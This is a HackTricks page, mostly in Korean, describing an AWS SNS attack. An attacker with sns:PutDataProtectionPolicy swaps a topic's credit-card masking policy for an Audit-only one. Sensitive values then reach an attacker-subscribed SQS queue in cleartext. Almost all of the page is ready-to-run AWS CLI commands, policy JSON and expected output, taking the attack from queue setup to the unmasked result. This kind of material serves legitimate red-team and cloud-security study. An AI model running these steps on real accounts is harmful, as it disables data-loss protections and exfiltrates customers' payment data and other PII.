AWS - SNS Message Data Protection Bypass via Policy Downgrade

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

토픽에 sns:PutDataProtectionPolicy 권한이 있으면 해당 토픽의 Message Data Protection 정책을 Deidentify/Deny에서 Audit-only로 변경(또는 Outbound 제어를 제거)하여 민감한 값(예: 신용카드 번호)이 구독으로 수정되지 않은 채 전달되도록 할 수 있습니다.

Requirements

  • 대상 토픽에서 sns:PutDataProtectionPolicy를 호출할 수 있는 권한(데이터를 수신하려면 일반적으로 sns:Subscribe 권한도 필요).
  • 표준 SNS 토픽(Message Data Protection 지원).

Attack Steps

  • Variables
bash
REGION=us-east-1
  1. 표준 토픽과 공격자 SQS 큐를 생성하고, 이 토픽만 큐로 전송할 수 있도록 허용합니다
bash
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
  1. 아웃바운드 메시지에서 신용카드 번호를 마스킹하는 데이터 보호 정책을 연결합니다
bash
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
  1. 공격자 큐를 구독하고 테스트 신용카드 번호를 포함한 메시지를 게시한 뒤 마스킹을 확인합니다
bash
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

예상 출력은 마스킹(해시)을 보여줍니다:

json
"Message" : "payment:{cc:################}"
  1. 정책을 audit-only로 하향(Outbound에 영향을 주는 deidentify/deny 문 없음)

For SNS, Audit statements must be Inbound. Replacing the policy with an Audit-only Inbound statement removes any Outbound de-identification, so messages flow unmodified to subscribers.

bash
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
  1. 동일한 메시지를 publish하고 마스킹 해제된 값이 전송되는지 확인
bash
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Expected excerpt shows cleartext CC:

text
4539894458086459

영향

  • topic을 de-identification/deny에서 audit-only로 전환(또는 다른 방식으로 Outbound controls를 제거)하면 PII/secrets가 수정되지 않은 상태로 attacker-controlled subscriptions로 전달되어, 그렇지 않으면 마스킹되거나 차단되었을 데이터 유출이 가능해집니다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기